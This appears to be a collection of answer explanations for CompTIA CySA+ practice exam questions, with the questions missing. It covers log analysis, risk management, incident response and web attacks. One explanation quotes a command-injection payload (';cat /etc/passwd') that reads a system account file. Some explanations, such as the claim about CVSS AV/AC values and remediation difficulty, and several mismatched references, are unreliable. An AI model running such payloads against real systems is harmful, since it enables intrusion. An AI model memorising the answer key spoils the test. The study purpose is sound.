A HTTP/404 error code means that the requested page or resource was not found on the web server. This could be caused by various reasons, such as incorrect URLs, moved or deleted pages, missing assets, or server misconfigurations123. The analyst should first identify the source of the requests and examine the related activity to determine if they are legitimate or malicious, and what actions need to be taken to resolve the issue. The other options are either premature or irrelevant without further investigation. References: 1: 404 Page Not Found Error: What It Is and How to Fix It 2: 404 Error Code: What Causes Them and How To Fix It 3: About 404 errors and how to Troubleshoot it?

Port 3389 is commonly used by Remote Desktop Protocol (RDP), which is a service that allows remote access to a system. A vulnerability on this port could allow an attacker to compromise the web server or use it as a pivot point to access other systems. However, if the firewall blocks this port, the risk of exploitation is reduced.

Compensating controls are alternative controls that provide a similar level of protection as the original controls, but are used when the original controls are not feasible or cost-effective. In this case, the CISO implemented compensating controls by reviewing logs and audit trails to mitigate the risk of error and fraud in payroll management, since segregating duties was not possible due to the small staff size

In a root cause analysis following unauthorized access, the initial step is usually to review relevant log files. These logs can provide critical information about how and when the attacker gained access.

The first step in a root cause analysis after a data breach is typically to review the logs. This helps the analyst understand how the attacker gained access by providing a detailed record of all events, including unauthorized or abnormal activities. Documenting the incident, interviewing employees, and identifying immediate containment actions are important steps, but they usually follow the initial log review.

The correct regular expression to match a GET request to this API endpoint is "https://10\.1\.2\.3/api\?id=\d+". This pattern checks for the specific URL with an id parameter that accepts integer values. The syntax \d+ matches one or more digits, which aligns with the requirement for a single integer argument. Other options either use incorrect syntax or do not accurately capture the expected URL format. Regular expressions are vital in filtering and identifying patterns in logs, as recommended by CompTIA Cybersecurity Analyst (CySA+) practices for threat hunting and log analysis.

The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack.References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

Answer below images

EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device’s operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objectives. Official References:

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: https://www.pcisecuritystandards.org/

The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced. Thiscan affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.

A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack

Using aregular expression (regex)to search email logs is the most efficient and scalable way to identify patterns in phishing URLs. Phishing campaigns often use consistent URL formats across different domains. Regex allows administrators to define flexible patterns to match these URLs even when the domains vary. This is significantly more effective than relying on user reports or less granular tools like firewall logs for such cases.

Transfer is the risk management principle that is accomplished by purchasing cyber insurance. Transfer is a strategy that involves shifting the risk or its consequences to another party, such as an insurance company, a vendor, or a partner. Transfer does not eliminate the risk, but it reduces the potential impact or liability of the risk for the original party. Cyber insurance is a type of insurance that covers the losses and damages resulting from cyberattacks, such as data breaches, ransomware, denial-of-service attacks, or network disruptions. Cyber insurance can help transfer the risk of cyber incidents by providing financial compensation, legal assistance, or recovery services to the insured party. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

To improve the detection of known attacks and behavioralIndicators of Compromise (IoCs), the best approach is tointegrate with an open-source threat intelligence feed. Threat intelligence feeds provide up-to-date information on known malicious IPs, domains, file hashes, and behavioral patterns that attackers use​.

Option A (randomly generating and storing hash values)is impractical, as there are an infinite number of possible files.

Option B (alerting on any system change)would lead to excessive noise and false positives, making the system difficult to manage.

Option D (manually adding signatures)is useful but is not scalable or as timely as an external intelligence feed​.

Thus, the correct answer isC, as integrating an open-source threat intelligence feed enhances the SIEM’s ability to detect and respond to real-world threats​.

A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint /wp-json/trx_addons/V2/get/sc_layout. In this case, the attacker tries to use the wp_insert_user function to create a new administrator account on the WordPress site12. Limiting user creation to administrators only would prevent the attacker from succeeding, as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators34. Limiting layout creation to administrators only, setting the directory trx_addons to read only for all users, and setting the directory v2 to read only for all users are not effective controls to mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover, setting directories to read only may affect the functionality of the plugin or the WordPress site56. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence, Mitigating Zero Day Attacks With a Detection, Prevention … - Spiceworks, How to Restrict WordPress User Registration to Specific Email …, How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing Your Website, WordPress File Permissions: What is the Ideal Setting?

The correct answer is C. False negative.

A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a potential attack and failed to alert the security analysts, resulting in a false negative.

A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack or a threat is detected by a security control, as expected. These are not the correct answers for this question.

The malicious activity that was most likely attempted is SSRF (Server-Side Request Forgery). This is a type of attack that exploits a vulnerable web application to make requests to other resources on behalf of the web server. In this case, the attacker tried to use the fopen function to access the local loopback address (127.0.0.1) on port 16, which could be a service that is not intended to be exposed to the public. The connection was refused, indicating that the port was closed or filtered. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 2: Software and Application Security, page 66.

Using a vendor-provided API to automate pulling logs in real-time is the best option for improving the efficiency of security operations when the financial application does not allow event logging to send to the corporate SIEM. This approach ensures that logs are consistently and promptly integrated into the security monitoring process without manual intervention, enhancing the overall effectiveness of security operations.

Exploit code maturity in the CVSS v.3.1 temporal metrics refers to the reliability and availability of exploit code for a vulnerability. Public availability of exploit code increases the exploit code maturity score.

The availability of exploit code affects the 'Exploit Code Maturity' metric in CVSS v.3.1. This metric evaluates the level of maturity of the exploit that targets the vulnerability. When exploit code is readily available, it suggests a higher level of maturity, indicating that the exploit is more reliable and easier to use.

An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate orcoordinate with other organizations in the same industry or region that may face similar threats or challenges.

SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of blind SQL injection (two timing attacks and one differential analysis) in the web application. These vulnerabilities indicate that the web application does not properly validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries12. SQL injection can have serious consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data exfiltration, or remote code execution34. Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input validation, parameterized queries, and least privilege principle to prevent SQL injection attacks5. References: Web application testing with Arachni | Infosec, How do I create a generated scan report for PDF in Arachni Web …, Command line user interface · Arachni/arachni Wiki · GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial | Veracode

C. Impossible geo-velocity: This is an event where a single user's account is accessed from different geographical locations within a timeframe that is impossible for normal human travel. In the log, we can see that the user "jdoe" is accessing from the United States and then within a few minutes from Russia, which is practically impossible to achieve without the use of some form of automated system or if the account credentials are being used by different individuals in different locations.

B. Push phishing: This could also be an indication of push phishing, where the user is tricked into approving a multi-factor authentication request that they did not initiate. This is less clear from the logs directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are being approved without their genuine desire to access the resources.

The best way to prevent network printers from printing pages during a vulnerability scan is to create a tailored scan for the printer subnet that excludes the ports and services that trigger the printing behavior. The other options are not effective for this purpose: performing non-credentialed scans may not reduce the impact on the printers; ignoring embedded web server ports may not cover all the possible ports that cause printing; increasing the threshold length of the scan timeout may not prevent the printing from occurring.

The vulnerability scan shows that the version information is visible in the http-server-header, which can be exploited by attackers to identify vulnerabilities specific to that version. Removing or obfuscating this information can enhance security.

A security analyst’s concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst’s role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

An incident response plan (IRP) is a document that defines the roles and responsibilities, procedures, and guidelines for responding to a security incident. It helps the security team to act quickly and effectively, minimizing the impact and cost of the incident. An IRP should specify who should conduct the next steps following a security event, such as containment, eradication, recovery, and analysis12. References: CompTIA CySA+ CS0-003 Certification Study Guide, page 362; 6 Incident Response Steps to Take After a Security Event, section 2.

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider’s APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners.

A digital certificate is a document that contains the public key and identity information of a web server, and is signed by a trusted third-party authority called a certificate authority (CA). A digital certificate allows the web server to establish a secure connection with the clients using the HTTPS protocol, and also verifies the authenticity of the web server. A self-signed certificate is a digital certificate that is not signed by a CA, but by the web server itself. A self-signed certificate can cause issues with the website, as it may not be trusted by the clients or their browsers. Clients may receive warnings or errors when trying to access the website, indicating that the site could not be trusted or that the connection is not secure. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

The best practice for securing access to sensitive data is to implement multifactor authentication (MFA), which combines multiple factors of authentication to enhance security.

Option B (Biometrics + Device with a Personalized Code) uses two strong factors:

Biometrics (something you are)

A device with a personalized code (something you have)This combination significantly reduces the risk of unauthorized access​.

Option A (Randomized Code) is good but weaker than biometrics because it relies only on something you have.

Option C (Passphrase) is single-factor authentication, which is susceptible to brute-force attacks​.

Option D (One-time Code + Push Notification) is useful, but email-based authentication can be vulnerable to phishing and MITM attacks.

To identify existing vulnerabilities in the web application, the best options are to contract a penetration test and create a bug bounty program. A penetration test simulates attacks against the application to uncover security flaws proactively. A bug bounty program incentivizes external security researchers to find and report vulnerabilities, expanding the testing scope without overburdening internal resources. According to CompTIA CySA+, both methods are highly effective in identifying vulnerabilities from an external perspective, particularly when internal resources are limited. Options like a WAF (A) focus more on prevention than detection, while threat modeling (F) and tabletop exercises (D) are generally proactive measures not focused on active flaw identification.

Root Cause Analysis (RCA)is the best approach toidentify and resolve the underlying cause of recurring incidents. It involves a systematic investigation of logs, configurations, and operational data to pinpoint the reason behindpersistent security issues​.

Option A (Vulnerability assessment)helpsidentify security weaknessesbut does not focus onrecurring operational issues.

Option C (Recurrence reports)trackpatternsbut do notresolve the root cause.

Option D (Lessons learned)is valuable but is typicallya post-mortem discussion rather than an investigative method.

Thus,B is the correct answer, asroot cause analysis is the best approach for diagnosing recurring availability issues​.

The correct answer is D. MITRE ATT&CK.

MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and data. MITRE ATT&CK can help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their security posture, as well as to identify and prioritize the gaps and improvements .

The other options are not the best recommendations for mapping all the attack vectors that the company faces each day. OSSTMM (Open Source Security Testing Methodology Manual) (A) is a methodology that provides guidelines and best practices for conducting security testing and auditing, but it does not map the TTPs of threat actors or groups. Diamond Model of Intrusion Analysis (B) is a model that analyzes the relationships and interactions between four elements of an intrusion: adversary, capability, infrastructure, and victim. The Diamond Model can help understand the characteristics and context of an intrusion, but it does not map the TTPs of threat actors or groups. OWASP (Open Web Application Security Project) © is a project that provides resources and tools for improving the security of web applications, but it does not map the TTPs of threat actors or groups.

The best practice that the company should follow with this proxy is to decommission the proxy. Decommissioning the proxy involves removing or disposing of the proxy from the rack and the network, as well as deleting or wiping any data or configuration on the proxy. Decommissioning the proxy can help eliminate the vulnerability on the proxy, as well as reduce the attack surface, complexity, or cost of maintaining the network. Decommissioning the proxy can also free up space or resources for other devices or systems that are in use or needed by the company.

Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or applying firewall rules12.

Microsegmentation involves dividing a network into smaller, isolated segments to restrict lateral movement within the network. This is crucial within a Zero Trust architecture, which assumes that no entity (internal or external) is inherently trustworthy. By limiting access to only necessary network segments, microsegmentation reduces the impact of a potential breach by containing it within a limited area. CompTIA emphasizes microsegmentation as an effective strategy to minimize risk and improve security posture by isolating resources based on the principle of least privilege.

The best security control to implement against sensitive information being disclosed via file sharing services is to improve employee training and awareness. Employee training and awareness can help educate employees on the risks and consequences of using file sharing services for sensitive information, as well as the policies and procedures for handling such information securely and appropriately. Employee training and awareness can also help foster a security culture and encourage employees to report any incidents or violations of information security.

The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities1. The other options are not part of the OWASP WSTG threat modeling process.

Port 1433 is commonly used by Microsoft SQL Server, which is a database management system. A spike in traffic on this port between two IP addresses on opposite sides of a WAN connection could indicate a database replication process, which is a way of copying and distributing data from one database server to another. This could be a legitimate activity performed by an administrator, but it should be communicated to the security operations center (SOC) to avoid confusion and false alarms.

Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.

Mitigate is the best term to describe the risk management principle that the company is exercising, as it means to reduce the likelihood or impact of a risk. By implementing a patch management program to remediate vulnerabilities, the company is mitigating the threat of cyberattacks that could exploit those vulnerabilities and compromise the security or functionality of the systems. The other terms are not as accurate as mitigate, as they describe different risk management principles. Transfer means to shift theresponsibility or burden of a risk to another party, such as an insurer or a contractor. Accept means to acknowledge the existence of a risk and decide not to take any action to reduce it, usually because the risk is low or the cost of mitigation is too high. Avoid means to eliminate the possibility of a risk by changing the plans or activities that could cause it, such as cancelling a project or discontinuing a service.

Comprehensive Detailed Explanation:To safely analyze malware while avoiding unintended disclosure of company information, it is best to use a local sandbox in a microsegmented environment. Here’s why:

A. Upload the malware to the VirusTotal website

Risk: VirusTotal and similar services are public and may share uploaded files with other security vendors, potentially exposing proprietary or sensitive information.

B. Share the malware with the EDR provider

Limitation: While EDR providers may offer insight, sharing potentially sensitive malware samples externally still introduces risk of disclosure or data leaks.

C. Hire an external consultant to perform the analysis

Cost and Risk: Hiring an external consultant can be costly and may introduce risks related to third-party handling of sensitive data. Although it may provide insights, this is typically not the most efficient initial response.

D. Use a local sandbox in a microsegmented environment

Explanation: A local sandbox provides a secure, isolated environment for malware analysis without exposing sensitive data outside the organization. Microsegmentation enhances security by further isolating the sandbox from the network, preventing lateral movement if the malware attempts to communicate externally.

D ("grnail.com") is a suspicious domain that resembles "gmail.com."

The high "bytes out" value (525,984 bytes) indicates potential data exfiltration.

Attackers often use typosquatting (e.g., "grnail.com" instead of "gmail.com") to trick users into visiting malicious sites.

Why Not Other Options?

A (Netflix, B YouTube, C TikTok) → Large downloads, but expected behavior for streaming sites.

E (Google Translate) → Low data volume, no exfiltration risk.

F (Office.com) → Microsoft service, no indication of malicious activity.

A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation efforts accordingly. https://www.comptia.org/training/books/cysa-cs0-003-study-guide

The log entry "......\boot.ini" is indicative of a directory traversal attack, where an attacker attempts to access files and directories that are stored outside the web root folder.

The log snippet "......\boot.ini" is indicative of a directory traversal attack. This type of attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “../” (dot-dot-slash), the attacker may be able to access arbitrary files and directories stored on the file system.

The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor creation. The presence of a device with this name on the network could indicate that an attacker has plugged in a malicious USB device to a system and gained access to the network. Official References: https://github.com/mame82/P4wnP1_aloa

The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be applied to harden a system1.

The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not involve system hardening. Continuous authorization © is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.

A credentialed scan is a type of vulnerability scan that uses valid credentials to log in to the scanned systems and perform a more thorough and accurate assessment of their vulnerabilities. A credentialed scan can access more information than a non-credentialed scan, such as registry keys, patch levels, configuration settings, and installed applications. A credentialed scan can also reduce the number of false positives and false negatives, as it can verify the actual state of the system rather than relying on inference or assumptions. The other types of scans are not related to the issue of incomplete findings, as they refer to different aspects of vulnerability scanning, such as the scope, location, or frequency of the scan. An external scan is a scan that is performed from outside the network perimeter, usually from the internet. An external scan can reveal how an attacker would see the network and what vulnerabilities are exposed to the public. An external scan cannot access internal systems or resources that are behind firewalls or other security controls. A differential scan is a scan that compares the results of two scans and highlights the differences between them. A differential scan can help identify changes in the network environment, such as new vulnerabilities, patched vulnerabilities, or new devices. A differential scan does not provide a complete list of findings by itself, but rather a summary of changes. A network scan is a scan that focuses on the network layer of the OSI model and detects vulnerabilities related to network devices, protocols, services, and configurations. A network scan candiscover open ports, misconfigured firewalls, unencrypted traffic, and other network-related issues. A network scan does not provide information about the application layer or the host layer of the OSI model, such as web applications or operating systems.

Comprehensive and Detailed Step-by-Step Explanation:Network segmentation supports zero-trust principles by ensuring sensitive systems are isolated and access is restricted based on identity, role, and context. Unlike traditional models, zero-trust architecture does not automatically trust authenticated users or internal network traffic. It enforces strict access controls to minimize risk.

Log entry 4 shows an attempt to exploit the zero-day command injection vulnerability by appending a malicious command (;cat /etc/passwd) to the end of a legitimate request (/cgi-bin/index.cgi?name=John). This command would try to read the contents of the /etc/passwd file, which contains user account information, and could lead to further compromise of the system. The other log entries do not show any signs of command injection, as they do not contain any special characters or commands that could alter the intended behavior of the application. Official References:

https://www.imperva.com/learn/application-security/command-injection/

https://www.zerodayinitiative.com/advisories/published/

The correct answer is A. To provide metrics and test continuity controls.

A disaster recovery exercise is a simulation or a test of the disaster recovery plan, which is a set of procedures and resources that are used to restore the normal operations of an organization after a disaster or a major incident. The goal of a disaster recovery exercise is to provide metrics and test continuity controls, which are the measures that ensure the availability and resilience of the critical systems and processes of an organization. A disaster recovery exercise can help evaluate the effectiveness, efficiency, and readiness of the disaster recovery plan, as well as identify and address any gaps or issues .

The other options are not the best descriptions of the goal of a disaster recovery exercise. Verifying the roles of the incident response team (B) is a goal of an incident response exercise, which is a simulation or a test of the incident response plan, which is a set of procedures and roles that are used to detect, contain, analyze, and remediate an incident. Providing recommendations for handling vulnerabilities © is a goal of a vulnerability assessment, which is a process of identifying and prioritizing the weaknesses and risks in an organization’s systems or network. Performing tests against implemented security controls (D) is a goal of a penetration test, which is an authorized and simulated attack on an organization’s systems or network to evaluate their security posture and identify any vulnerabilities or misconfigurations.

From the logs, PC3 showsoutlook.exe spawning excel.exe at 1:15 PM, and laterexcel.exe spawning procdump.exe at 1:16 PM. This is highly suspicious becauseoutlook.exe should not normally launch Excel, andprocdump.exe is often used by attackers to dump process memory, which is a common technique in credential theft​.

PC1:Running expected Windows processes (wininit.exe spawning services.exe and lsass.exe).

PC2:Running a browser process (chrome.exe) from explorer.exe, which is normal.

PC3:Highly suspicious behavior (Excel spawning procdump.exe).

PC4:Running mstsc.exe (Remote Desktop) from explorer.exe, which is expected.

PC5:Running Firefox from explorer.exe, which is normal.

Thus,PC3 should be prioritized for investigationdue to its potential involvement in credential theft.

Reverse engineering is the process of analyzing a binary file to understand its structure, functionality, and behavior. It can help to identify the purpose of the binary file, such as whether it is a malicious program, a legitimate application, or a library. Reverse engineering can involve various techniques, such as disassembling, decompiling, debugging, or extracting strings or resources from the binary file123. Reverse engineering can also help to find vulnerabilities, backdoors, or hidden features in the binary file

In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause.

When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it's crucial to use passive instead of active vulnerability scans. Active scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without sending probing requests, thus minimizing the risk of disruption.

XDR logs will confirm the malware infection because XDR is a system that collects and analyzes data from multiple sources, such as endpoints, networks, cloud applications, and email security, to detect and respond to advanced threats12. XDR can provide a comprehensive view of the attack chain and the context of the malware infection. Firewall logs, IDS logs, and MFA logs are not sufficient to confirm the malware infection, as they only provide partial or indirect information about the network traffic, intrusion attempts, or user authentication. References: Cybersecurity Analyst+ - CompTIA, XDR: definition and benefits for MSPs| WatchGuard Blog, Extended detection and response - Wikipedia

The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints “Malicious activity” if there is, or “OK” otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat Sheet, Bash section.

Executive management and systems administration are the most likely stakeholders to receive a vulnerability scan report because they are responsible for overseeing the security posture and remediation efforts of the organization. Law enforcement, marketing, legal, and product owner are less likely to be involved in the vulnerability management process or need access to the scan results. References: Cybersecurity Analyst+ - CompTIA, How To Write a Vulnerability Assessment Report | EC-Council, Driving Stakeholder Alignment in Vulnerability Management - LogicGate

An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious activity, such as opening a phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow attackers to access sensitive data or systems. The other options are not related to the threat concept of ensuring that all network users only open attachments from known sources.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13.What is Network Security | Threats, Best Practices | Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.